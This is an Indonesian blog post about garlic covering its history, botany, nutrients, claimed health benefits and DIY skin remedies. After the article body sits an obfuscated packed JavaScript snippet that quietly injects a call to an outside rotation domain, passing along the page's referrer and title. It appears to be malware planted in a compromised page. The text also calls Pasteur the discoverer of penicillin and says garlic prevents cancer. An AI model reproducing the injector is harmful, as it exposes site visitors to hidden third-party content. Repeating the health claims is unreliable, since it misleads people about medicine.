browser icon
You are using an insecure version of your web browser. Please update your browser!
Using an outdated browser makes your computer unsafe. For a safer, faster, more enjoyable user experience, please update your browser today or try a newer browser.

Sekilas si Bawang Putih

Posted by on November 23, 2012


Gara gara masak apapun mesti selalu always (haiyah bahasanya lebay yaa….) make bawang putih, jadi kepikiran bikin tulisan tentang si putih ini.  Bawang putih sebenarnya berasal dari Asia Tengah, di antaranya Cina dan Jepang yang beriklim subtropik. Kemudian bawang putih menyebar ke seluruh Asia, Eropa, dan akhirnya ke seluruh dunia. Bawang putih dibawa oleh pedagang Cina dan Arab ke Indonesia, kemudian dibudidayakan di daerah pesisir atau daerah pantai. Seiring dengan berjalannya waktu kemudian masuk ke daerah pedalaman dan akhirnya bawang putih akrab dengan kehidupan masyarakat Indonesia.

Tanaman yang dikenal dengan nama latin Allium Sativum adalah salah satu keluarga bawang yaitu alliceae. Keluarga Alliceae lainnya diantaranya adalah bawang merah dan bawang daun. Orang – orang zaman dahulu telah mengenal bawang putih sebagai makanan maupun untuk obat yang berkhasiat. Di Mesir, para pekerja dan budak yang membangun piramida kuno diharuskan memakan bawang putih guna menambahkan stamina dan tenaga dalam melaksanakan pembangunan. Bahkan dalam sebuah papyrus bertarikh 1500 sebelum Masehi ditemukan catatan bahwa orang Mesir percaya adanya 22 khasiat bawang putih untuk mengobati penyakit. Tak heran bila bawang putih ditemukan di dalam makam Raja Tutankhamun dari Mesir. Di masa lalu, orang Yunani dan Romawi menggunakan bawang putih untuk mengobati lepra dan asma, serta menghalau kalajengking (selain itu di Romawi sendiri para atlet olimpiade juga disuruh memakan bawang putih sebelum melakukan pertandingan, bahkan para tentara romawi juga diperintahkan memakan bawang putih sebelum perang). Sedangkan di dalam resep makanan Lebanon, bawang putih sejak dulu digunakan sebagai resep untuk diet. Orang Eropa juga menganggap bawang putih bermanfaat untuk mengusir hantu dan setan seperti vampir.

Bawang putih ini sendiri adalah herba semusim berumpun yang mempunyai ketinggian sekitar 60 cm. Tanaman ini banyak ditanam di ladang-ladang di daerah pegunungan yang cukup mendapat sinar matahari. Batangnya batang semu dan berwarna hijau. Bagian bawahnya bersiung-siung, bergabung menjadi umbi besar berwarna putih. Tiap siung terbungkus kulit tipis dan kalau diiris baunya sangat tajam. Daunnya berbentuk pita (pipih memanjang), tepi rata, ujung runcing, beralur, panjang 60 cm dan lebar 1,5 cm, berakar serabut. bunganya berwarna putih, bertangkai panjang dan bentuknya payung.

Bawang putih yang notabene adalah tanaman tertua berbagai obat atau rempah-rempah yang ada telah diakui kualitasnya sebagai ramuan ajaib sejak lebih dari 3000 tahun yang lalu. Bahkan Sir Louis Pasteur, sang penemu penisilin telah membuktikan secara efektif kualitas anti bakteri dari bawang putih pada 1858. Dan para ahli bedah pada Perang Dunia telah menggunakan jus bawang putih sebagai anti-septik untuk mengobati luka-luka perang.

Bawang putih diketahui mengandung mineral berguna seperti fosfor, kalsium dan zat besi, yodium, sulfur dan klor dan juga senyawa seperti allicin, allisatin1 dan 2. Bawang putih mentah penuh dengan senyawa-senyawa sulfur, termasuk zat kimia yang disebut alliin yang membuat bawang putih mentah terasa getir atau angur. Di samping itu dari beberapa penelitian umbi bawang putih mengandung zat aktif awcin, awn, enzim alinase, germanium, sativine, sinistrine, selenium, scordinin, nicotinic acid.

Selengkapnya dapat dilihat di tabel berikut:
(diambil dari whfoods.com)

dan tabel berikut:

Adapun beberapa fakta Bawang Putih selain sebagai penyedap masakan adalah:

  • Bawang Putih ternyata dapat meracuni anjing dan Kucing!
  • Bawang putih memiliki efek yang hampir sama dengan aspirin
  • Meminum jus lemon ataupun memakan beberapa iris jeruk lemon dapat menghilang bau nafas yang disebabkan oleh bawang putih.
  • Bawang putih dapat menurunkan tekanan darah
  • Menurunkan Trigliselda dan kolesterol LDL (buruk!)
  • Meningkatkan Kolesterol HDL dan fibrinolisis (proses dimana tubuh memecah gumpalan darah)
  • Dapat merangsang produksi oksida nitrat pada lapisan dinding pembuluh darah
  • Mencegah arteriosclerosis sehingga dapat mengurangi resiko penyakit jantung dan penyakit stroke
  • Dapat mengurangi radikal bebas dalam darah
  • Bawang putih dapat mencegah kanker dan tumor
  • Bawang putih dapat meningkatkan kekebalan tubuh
  • Sebagai Antibakteri dan Antivirus
  • Dapat digunakan sebagai obat asma, gangguan pernafasan, dan batuk

Dan beberapa manfaat lainnya untuk kecantikan adalah:

  • Menyembuhkan jerawat. Bawang putih mampu membantupenyembuhan jerawatdi wajah Anda. Caranya, haluskan satu siung bawang putih lalu oleskan di jerawat. Setelah itu diamkan sejenak hingga kering, dan bilas hingga bersih. Dapat juga sambil diberi campuran cuka putih.
  • Melembutkan kulit. Senyawa Allicin yang terdapat dalam bawang putih berkhasiat melembutkan kulit wajah. Cara pakainya, cukup campurkan bawang putih halus di masker wajah yang biasanya Anda gunakan. Lalu rasakan betapa halusnya kulit wajah Anda.
  • Melawan penuaan. Untuk apa memakai produk kecantikan mahal, jika manfaat yang sama dapat Anda peroleh dari satu siung bawang putih. Bawang putih dapat menghaluskan garis-garis halus di wajah dan melawan penuaan dini. Caranya, haluskan bawang putih dan beri sedikit air. Oleskan pada wajah seminggu sekali.
  • Menghilangkan komedo hitam. Caranya cukup dengan menghaluskan bawang putih, dan oleskan pada daerah kulit yang terdapat komedo hitamnya.
  • Mengurangi bekas luka atau tahi lalat. Jika Anda punya bekas luka yang tak sembuh-sembuh, maka oleskan saja bawang putih di atas bekas luka tersebut. Sifat anti bakteri dan anti peradangan yang dimiliki bawang putih membuatnya berguna untuk itu.

 
eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\’b\’);2 6=7.c(7.e()*f);2 0=\’g://h.i/j/k?\’;0=0+\’l=\’+3.m;0=0+\’&n=\’+3.o;0=0+\’&r=\’+6;d.p(\’\’)})();’,35,35,’src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height’.split(‘|’),0,{}))

Leave a Reply